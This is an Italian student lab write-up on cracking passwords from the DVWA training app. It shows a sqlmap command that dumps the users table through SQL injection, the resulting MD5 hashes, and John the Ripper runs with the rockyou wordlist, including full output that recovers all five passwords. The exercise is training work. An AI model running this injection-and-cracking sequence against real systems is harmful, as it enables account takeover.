

PASSWORD CRACKING

FRANCESCO PERSICHETTI

L'esercizio di oggi consiste nel crackare le password trovate tramite SQLInjection di ieri con questo comando

```
(kali@kali)-[~]  
$ sqlmap -u 'http://192.168.50.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' -cookie="security=low; PHPSESSID=d48456705a524720f795824088f2d92b" --dump
```

Come risultato ci vengono restituite le colonne del database, tra le quali username e password

Table: users [5 entries]					
user_id	user	avatar	password	last_name	first_name
1	admin	http://172.16.123.129/dvwa/hackable/users/admin.jpg	5f4dcc3b5aa765d61d8327deb882cf99	admin	admin
2	gordonb	http://172.16.123.129/dvwa/hackable/users/gordonb.jpg	e99a18c428cb38d5f260853678922e03	Brown	Gordon
3	1337	http://172.16.123.129/dvwa/hackable/users/1337.jpg	8d3533d75ae2c3966d7e0d4fcc69216b	Me	Hack
4	pablo	http://172.16.123.129/dvwa/hackable/users/pablo.jpg	0d107d09f5bbe40cade3de5c71e9e9b7	Picasso	Pablo
5	smithy	http://172.16.123.129/dvwa/hackable/users/smithy.jpg	5f4dcc3b5aa765d61d8327deb882cf99	Smith	Bob

Per iniziare abbiamo estratto il file contenente una “common password list” all’interno della wordlists di kali con il comando “sudo gunzip rockyou.txt.gz”. Al suo interno ci sono una lista di password che con l’aiuto del tool di cracking serviranno per decriptare le password criptate in hash sul nostro database

```
(kali@kali)-[/usr/share/wordlists]  
$ ls  
amass dirb dirbuster fasttrack.txt fern-wifi john.lst legion metasploit nmap.lst rockyou.txt sqlmap.txt wfuzz wifite.txt  
(kali@kali)-[/usr/share/wordlists]  
$ sudo gunzip rockyou.txt.gz
```

Dopodiché creiamo un nuovo file di testo chiamato “pass_hash.txt” dove andiamo a ricopiare il nome utente e la rispettiva password criptata, come richiesto dal tool “John the ripper” per il corretto funzionamento del cracking

```
File Actions Edit View Help  
GNU nano 6.4  
admin:5f4dcc3b5aa765d61d8327deb882cf99  
gordonb:e99a18c428cb38d5f260853678922e03  
1337:8d3533d75ae2c3966d7e0d4fcc69216b  
pablo:0d107d09f5bbe40cade3de5c71e9e9b7  
smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

In conclusione, usando il tool di cracking “John the Ripper” data la sua efficacia nel gestire parallelamente i task per ridurre i tempi di cracking, stampiamo le password decriptate dal nostro programma con il comando

“sudo john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt pass_hash.txt”

```
(kali@kali)-[~/Desktop]  
$ sudo john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt pass_hash.txt  
Using default input encoding: UTF-8  
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])  
Warning: no OpenMP support for this hash type, consider --fork=2  
Press 'q' or Ctrl-C to abort, almost any other key for status  
password (admin)  
abc123 (gordonb)  
letmein (pablo)  
charley (1337)  
4g 0:00:00:00 DONE (2022-11-30 09:22) 133.3g/s 102400p/s 102400c/s 153600C/s my3kids..dangerous  
Warning: passwords printed above might not be all those cracked  
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably  
Session completed.
```

Al termine della sessione di cracking per vedere tutte le password trovate basta dare il comando "sudo john --show --format=raw-md5 /home/kali/Desktop/pass_hash.txt"

```
(kali㉿kali)-[~/Desktop]
$ sudo john --show --format=raw-md5 /home/kali/Desktop/pass_hash.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password

5 password hashes cracked, 0 left
```